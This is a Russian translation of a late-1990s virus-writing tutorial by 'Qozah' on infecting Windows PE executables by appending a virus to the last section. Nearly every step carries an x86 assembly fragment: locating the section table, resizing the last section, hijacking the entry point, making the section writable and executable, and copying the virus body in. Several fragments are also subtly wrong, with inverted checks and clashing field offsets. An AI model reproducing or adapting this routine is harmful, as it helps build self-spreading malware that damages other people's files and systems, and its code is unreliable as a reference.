УЧЕБНИЕ ПО ИНФИЦИРОВАНИЮ WIN32 PE +---------------------------------+ |УЧЕБНИК ПО ИНФИЦИРОВАНИЮ WIN32 PE| ----------------+ WIN32 PE INFECTION TUTORIAL +-------------------- +-----------+ By Qozah +----------+ (Вольный перевод - (с) DrMad, 1999) Цели данной статьи ~~~~~~~~~~~~~~~~~~ Я написал эту статью совсем скоро после того, как я научился инфицировать РЕ, так что все концепции сохранились в памяти, особенно те вещи, которые было особенно трудно разрабатывать. Описываемый метод инфицирования состоит в дописывании вируса к последней секции файла, но основная проблема состоит в том, чтобы вы ПОНЯЛИ, как это работает. Если вы поймете это, вы сможете делать любые изменения самостоятельно, такие как добавление другой секции, инфицирование области .reloc и прочая-прочая-прочая. Вы можете просто копировать/вставить мой фрагмент инфицирования РЕ в чистом виде, но вы никогда не сможете понять, как это работает, и это прискорбно. Я надеюсь помочь вам, я написал это с мыслью научить вас, так что постарайтесь помочь и мне в достижении цели. Формат PE ~~~~~~~~~ У вас есть немножко ресурсов, чтобы разобраться в РЕ-формате; лучший, вероятно, это труд Matt Pietrek, который вы можете утянуть на домашней страничке Griyo/29A. PE структурирован так: +-------------------+ | MZ Заголовок | +-------------------+ | PE\0\0 | +-------------------+ |ЗАГОЛОВОК_ОБРАЗА | +-------------------+ | |+ +-------------------+|НЕОБЯЗАТЕЛЬНЫЙ_ЗАГОЛОВОК_ОБРАЗА | Каталог данных |+ +-------------------+ | Таблица секций | +-------------------+ | | | Секции |--- .reloc, .edata, .idata, .text, etc | | +-------------------+ Короче, я могу сказать вам, где располагается ДОС-заголовок (там же обычно располагается программа, которая при загрузке говорит вам: "кретин, это же win32", если вы пытаетесь запустить ее в другой операционке), далее - Заголовок Файлового Образа (главная часть), далее - Необязательный Заголовок (который может рассматриваться как разделенный на 2 части), Таблица Секций и, окончательно, данные секций (это может быть стек, код, данные и пр.) Инфицирование PE-файла ~~~~~~~~~~~~~~~~~~~~~~ Допустим, вы имеете открытый файл для инфицирования: я не имею в виду, что вы используете файл в виде карты в памяти или доступ через указатели (yuck!), но в этот момент вы должны остановиться. Я предполанаю, что вы имеете в edx (почему бы нет?) указатель на начало файла в карте памяти. Первым делом вам надо найти РЕ-заголовок, и это делается обращением к смещению 03Ch в MZ-заголовке. Если вы хотите выполнить некоторые проверки, сравните ds:[dx] с 'MZ' и 'ZM': cmp word ptr ds:[edx],'M'+'Z' jz end_infection mov edx,dword ptr ds:[edx+3ch] ; Смещение реального ; РЕ-заголовка Ваша следующая цель - проверить, действительно ли это РЕ-программа. Вы можете сделать это проверкой первых четырех байтов по этому смещению с "PE\0\0", что означает РЕ и два обнуленных байта :-Р. cmp word ptr ds:[edx],'EP' jz end_infection Теперь начинается настоящая потеха, и вы должны слегка побезобразничать в РЕ. Вместо того, чтобы предоставить фрагмент кода, я лучше объясню, чтобы вы ПОНЯЛИ, какую #$$%-вину мы собираемся сделать. Я не хочу, чтобы кто-нибудь, интересующийся инфицированием, занимался простым копированием меня, но чтобы он в первую очередь понимал, что именно я от него хочу. Сначала вы дрлжны определить, какая РЕ-секция является последней. После ЕХЕ-заголовка и Заголовка Образа размещается Необязательный Заголовок... и окончательно, мы можем обнаружить Таблицу секций, т.е. место, где размещается описание и некорая информация о найденных секциях. Если мы хотим добавить свой код к последней секции, модифицирование этой таблицы совершенно необходимо. Первая проблема, в которую втыкаются программеры... как добраться до Таблицы Секций? Дык, существуют две возможности: - Заголовок Образа Файла занимает фиксированное количество байтов, а именно 18h. Итак, чтобы найти Необязательный Заголовок Образа мы должны сложить наш старый edx с этим количеством байтов. Затем мы знаем, что Таблица Секций располагается СРАЗУ ЗА Необязательным Заголовком Образа, но он в общем случае имеет переменную длину. Первый путь более сложен и не лучший: эта таблица разделена на 2 части длина 1-й фиксирована - 60h байтов. Эта часть содержит несколько полей с важными для файла данными. Вторая часть переменной длины, и она называется Каталогом Данных или "Каталогом_Данных_Образа". Эта таблица - массив вхождений, которые содержат RVA и некторую другую фигню, которую мне влом описывать. Важно то, что вы можете взять ее длину, обратившись по смещению 74h от PE\0\0 ( туда указывает наш EDX) и вслед за этим посмотрев в Таблицу Секций: это смещение, которое является последним полем в первой части Необязательного_Заголовка_Образа, его зовут "NumberOfRvaAndSizes", и означает это количество вхождений в массиве Каталога Данных. - Но давайте не усложнять себе жизнь. У нас есть такой действительно простой метод, как длина Необязательного Заголовка, сохраненная в слове по смещению 14h от "РЕ\0\0" ( должен ли я снова намекнуть, что это DX+14h? ). Итак, пусть у нас есть DX, передадим это значение в SI, добавим 18h (так что SI теперь указывает на начало Необязательного Заголовка) и сложим со словом по смещению DX+14h (которое называется SizeOfOptionalHeader J ), и все это у нас в SI. Теперь зафиксируем, что DX указывает на РЕ\0\0, а SI указывает на начало Таблицы Секций. mov esi,edx add esi,18h add esi,dword ptr [edx+14h] Итак, поскокульку это сделано, теперь мы должны найти последнюю секцию. Структура, на которую мы указываем, - массив, который содержит все секции в специфичкском формате, занимая 28h байт на каждую запись. Место Длина Что это за фигня 0h 8h Имя секции ( .edata, .reloc, .p0rn ) 8h 4h VirtualSize 0ch 4h SizeOfRawData 14h 4h PointerToRawData 18h 4h PointerToRelocations 1ch 4h PointerToLinenumbers 20h 2h NumberOfRelocations 22h 2h NumberOfLinenumbers 24h 4h Характеристики В этом месте, как вы можете подумать, надо просто сделать последнюю секцию побольше, поскольку последней секции соответствует последняя запись в массиве. Гы-гы-гы, обломчик-с, это совсем не так. И что же дальше? Дык, мы имеем одно поле с именем "PointerToRawData", которое представляет собой указатель на код этой секции. Итак, сейчас вам достаточно проверить все записи о секциях, и та, что содержит самую большую PointerToRawData - есть то, что нам нужно. Конечно, мы дожны знать количество секций... от РЕ\0\0, это смещение 6h, слово, которое содержит это число: xor ecx,ecx mov cx,word ptr ds:[edx+06h] ; количество секций mov edi,esi xor eax,eax push cx X_Sections: cmp dword ptr [edi+14h],eax ; PointerToRaw > текущего? jz Not_Biggest mov ebx,ecx ; сунем количество секций в ebx mov eax,dword ptr [edi+14h] ; возьмем этот указатель Not_Biggest: add edi,28h ; посмотрим на следующую запись в таблице loop X_Sections pop cx ; Теперь вычтем из найденного sub ecx,ebx ; количество секций Теперь в ecx мы имеем число, которое 0 для первой секции, 1 для второй и т.д. Теперь умножим его на 28h (это длина каждой записи в таблице) и добавим к esi, чтобы получить ожидаемый доступ к последней секции: mov eax,028h push edx ; Сохраняем PE-заголовок mul ecx pop edx add esi,eax Итак, мы должны теперь манипулировать с этой секцией файла. Существуют три вещи, которые необходимо объяснить сейчас, когда мы просканировали записи в Таблице Секций. - VirtualSize - это реальный размер секции, количество байтов в этой секции. - SizeOfRawData - тоже самое, что и VirtualSize, но округленное до размера выравнивания. - Alignment (выравнивание) (оно размещено в Необязательном Заголовке, но не в этих полях в специфицированном вхождении в секцию) это размер файла в РЕ-заголовке, деленный на SizeOfRawData. Например, давайте вообразим, что у нас есть секция, в которой VirtualSize равно 1256 байтов, в то время как поле Alignment в Необязательном Заголовке содержит 200h. Теперь мы можем легко узнать, что поле SizeOfRawData ДОЛЖНО быть 1400h. Почему? Потому что мы округлили вверх 1256h к ближайшему числу, кратному Alignment (200h). Итак поскольку мы знаем как эти три поля данных работают, следующая часть не должна быть сложной. Дальнейшая цель - сделать секцию подлинней, так чтобы вирус туда уместился. Для этого вы должны прибавить размер вируса к полю VirusSize прежде всего. mov edi,dword ptr ds:[esi+10h] ; Сохраняем PointerToRawData ; (пригодится потом) mov eax,virlength xadd dword ptr ds:[esi+8h],eax ; Поменять и сложить push eax add eax,virlength ; Теперь eax = [esi+8h], т.е. ; поле 8h плюс vir_length Теперь поле VirtualSize увеличилось, и значение SizeOfRawData должно быть неверно. Представим, что старое значение VirtualSize было 556h в то время, как Alignment было 200 h, а SizeOfRawData 600h... если ваш вирус длиной 800h, новое значение VirtualSize будет 0D56h, так что теперь SizeOfRawData неверно: это значение должно составлять VirtualSize, округленное вверх к значению, кратному Alignment; в этом случае оно должно быть 0Eh (это число делится на 200h). Давайте псмотрим на следующий код: push edx mov ecx, dword ptr ds:[edx+03ch] ; Здесь выравнивание xor edx,edx div ecx ; eax содержит виртуальный размер xor edx,edx inc eax ; Это VirtualSize, деленное на ; Alignment плюс 1. mul ecx ; Умножаем Alignment плюс eax, ; и получаем новое SizeOfRawData mov ecx,eax mov dword ptr ds:[esi+10h],ecx ; Теперь здесь SizeOfRawData pop edx Итак, все идет нормально, не так ли? Теперь мы вычислили новое значение SizeOfRawData и сохранили его. Что теперь? Вы берете величину, которую я сохранил в стеке перед этим и которая представляет собой VirtualSize перед тем, как это поле было модифицировано вирусом (поле 8 h), и вы получаете новую точку входа. pop ebx ; Это VirtualSize - длина_вируса Это VirtualSize перед сложением с длиной вируса J Теперь время сохранить старый адрес точки входа, который располагается по адресу 28h от РЕ\0\0. Добавить больше нечего, но как получить новую точку входа? Давайте послушаем, что наш друг Mark Ludwig говорит в описании смещения 0Ch любого смещения в Таблице Секциий: 0ch DWORD VirtualAddress В ЕХЕ это поле содержит RVA для того, чтобы загрузчик мог загрузить секцию. Для вычисления реального стартового адреса данной секции в памяти, сложите базовый адрес образа с VirtualAddress секции, сохраненного с этим полем. Итак, теперь стало легче, верно? Мы берем VirtualAddress в секции, затем прибавляем к СТАРОЙ длине секции и вуаля! Мы получили конец секции... т.е. новую точку входа J add ebx,dword ptr ds:[esi+0ch] ; VirtualAddress mov eax,dword ptr ds:[edx+028h] ; Старый вход mov dword ptr ds:[ebp+entry_point],eax mov dword ptr ds:[edx+28h],ebx ; Новый Теперь мы должны рассчитать выровненную длину файла: это для всего файла, а не только последней секции. Итак, используя SizeOfRawData и вычитая старую длину, вы увидите, насколько надо ее увеличить. Просто добавьте ее к полю SizeOfImage и вы получите новый выровненный размер файла. Глядя на нижележащий код, мы получим значение SizeOfRawData в ecx, которое мы вычли из значения в edi, котрое мы сохранили перед этим (это старое значение SizeOfRawData) sub ecx,edi add dword ptr ds:[edx+50h],ecx ; прибавить к SizeOfImage Окончательно мы устанавливаем поле Characteristics из Таблицы Секций. Вы не хотите, чтобы это вызвало проблему, да? Существует много флагов, коорые могут быть установлены в этом поле (это смещение 24h в каждом вхождении в таблицу), таких как код, инициализированные данные, неинициализированные данные, путое пространство, исполнимый код и пр. Мы хотим сделать эо исполнимым кодом, кодом и разрешенным для записи, так чо надо сделать OR с 0x00000020 (код), с 0х20000000 (исполнимый код) и 0х80000000 (записываемый). or dword ptr ds:[esi+24h],0A0000020h Итак, мы должны скопировать наш вирус в файл. Извлекая edi из стека, я получаю страрый указатель на файл в памяти (он прямо там и находится), где размещается его начало (MapViewOfFile возвращает хэндл, который является его базовым адресом). Оно должно быть сохранено, если вы не собираетесь закрывать размещенный в карте памяти объект. Вы должны добавить к этому значению PointerToRawData, где располагается секция, затем добавьте старую длину секции (поскольку вы в концк ее). pop edi push edi add edi,dword ptr ds:[esi+14h] add edi,dword ptr ds:[esi+8h] mov ecx,virlength sub edi,ecx ; старая длина ;) lea esi,[ebp+starts] ; Здесь вирус стартует rep movsb Итак, ничего не осталось. Мы вычислили размер, мы изменили точку входа и сохранили ее; дальше - делайте, что хотите. Дальше вы должны вернуться в оригинальную программу, это важно =), и, конечно, найти путь, чтобы получить GetProcAddress и GetModuleHandle из API для саморазмножения, но это совсем другая история. З.Ы. Просто базовый адрес плюс старая точка входа, и тады ваще уже все J +-------------------------------+ -----+ Written by Qozah, Finland '98 +--------------------------------------- | Перевод - DrMad, 1999 | +-------------------------------+ |